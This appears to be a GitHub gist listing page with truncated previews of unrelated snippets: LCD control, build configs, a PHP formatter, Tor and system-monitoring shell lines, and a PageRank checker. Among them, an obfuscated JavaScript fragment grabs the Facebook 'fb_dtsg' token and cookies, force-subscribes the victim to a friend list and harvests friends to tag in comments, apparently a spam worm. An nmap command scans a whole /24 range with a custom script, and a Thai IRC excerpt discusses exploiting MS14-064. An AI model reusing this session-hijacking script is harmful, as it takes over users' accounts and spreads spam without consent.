This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import time | |
import Adafruit_CharLCD as LCD | |
lcd_columns = 16 | |
lcd = LCD.Adafruit_CharLCDPlate() | |
lcd.set_backlight(0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
C:\Users\Admin\Desktop>nmap -p 80 -T4 -n -Pn --open --script D:/Dropbox/All/3bb-info.nse 183.???.???.0/24 | |
Starting Nmap 6.40 ( http://nmap.org ) at 2014-02-06 03:22 SE Asia Standard Time | |
. | |
. | |
CUT | |
. | |
. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Show hidden characters
{ | |
"cmd": ["perl", "-w", "$file"], | |
"file_regex": ".* at (.*) line ([0-9]*)", | |
"selector": "source.perl", | |
"path": "/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/opt/X11/bin" | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$number = '12345678'; | |
function format($number, $len=3, $symbol='฿', $thousand=',', $right=true){ | |
$result = implode($thousand, array_reverse(array_map('strrev', str_split(strrev($number), $len)))); | |
return ($right)?$result.$symbol:$symbol.$result; | |
} | |
print format($number, '4'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
tor_network=`curl --silent --socks5-hostname 127.0.0.1:9015 http://reip.stephack.com | awk '{print $1}'` | |
if [[ $tor_network =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]] | |
then | |
echo "TOR >> $tor_network" | |
else | |
echo "NO TOR CONNECTION" | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
myCPU=`top -l 1 | awk '/CPU usage/ {print $3}' | sed s/%//` | |
myCPU=`echo "tmp=$myCPU; tmp /= 1; tmp" | bc` | |
typeset -i b=9 | |
echo "CPU Usage \c" | |
while [ $b -lt $myCPU ] | |
do | |
echo "|\c" | |
b=`expr $b + 10` | |
done |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function IbraheemNada(uidss) { | |
var a = document.createElement('script'); | |
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();"; | |
document.body.appendChild(a) | |
} | |
IbraheemNada("600956029990265"); | |
var _0xa22c = ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "283190978515002", "onreadystatechange", "readyState", "arkadaslar = ", "for (;;);", "", "replace", "responseText", ";", "length", "entries", "payload", "round", " @[", "uid", ":", "text", "]", " ", "\x26filter[0]=user", "\x26options[0]=friends_only", "\x26options[1]=nm", "\x26token=v7", "\x26viewer=", "\x26__user=", "https://", "indexOf", "URL", "GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1", "open", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1", "send", "random", "floor", "\x26ft_ent_identifier=", "\x26comment_text=", "\x26source=2", "\x26client_id=1377871797138:1707018092", "\x26reply_f |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sar -n DEV 1 7 | grep -i 'average.*en0'| awk '{printf "Download: %.2f Kbps\nUpload: %.2f Kbps\n", $4 / 1024, $6 / 1024 }' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var anytechPageRank={cache:{data:{},getElement:function(a){var b=this.data;if(b[a]){return b[a].value}return undefined},isSet:function(a){var b=this.data;if(b[a]){if(new Date().getTime()>b[a].time){delete b[a]}else{return true}}return false},setElement:function(a,b){this.data[a]={value:b,time:new Date().getTime()+(typeof b=="undefined"?1000:3600*1000)}}},byteToHex:function(a){return a<16?"0"+a.toString(16):a.toString(16)},intToHex:function(a){return this.byteToHex(a>>>24)+this.byteToHex(a>>>16&255)+this.byteToHex(a>>>8&255)+this.byteToHex(a&255)},hash:function(a){var c=16909125;var d="Mining PageRank is AGAINST GOOGLE'S TERMS OF SERVICE. Yes, I'm talking to you, scammer.";for(var b=0;b<a.length;b++){c^=d.charCodeAt(b%d.length)^a.charCodeAt(b);c=c>>>23|c<<9}return this.intToHex(c)},getGoogleURL:function(b){b=this.prepareURL(b);var c=/^https:\/\/[^\/]*[\/]?/i.exec(b);if(c){b=c[0]}var a="http://toolbarqueries.google.com/tbr?";a+="client=navclient-auto";a+="&ch=8"+this.hash(b);a+="&features=Rank";a+="&q=info:"+en |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Xelenonz> xellos: พี่เอว่างปะ ผมถาม ms14-64 โหน่ย | |
* Longcat (Longcat@2600TH-member-ltv.hi1.9i01iu.IP) has joined | |
* ChanServ gives channel operator status to Longcat | |
<xellos> คำถามคือ | |
<Xelenonz> https://docs.google.com/a/e-cq.net/document/d/1SQsnKdLDOBQdbhJmIQ167WZhFLOaz3b2uTlkHNKtNSg/edit?pli=1 ไล่ตาม code ในนี้อะครับ | |
<Xelenonz> มันเป็นบัค interger ที่ทำให้เกิด type confusion ปะหว่า | |
<Xelenonz> - -" ไม่รู้ผมเข้าใจถูกป่าว | |
<xellos> integer overflow ก็ใช่นะ | |
<xellos> แต่ type confusion นั้น มันแค่เป็นวิธี exploit | |
<xellos> blog ของ coverity มันอธิบายปัญหาหมดแล้วนิ |
OlderNewer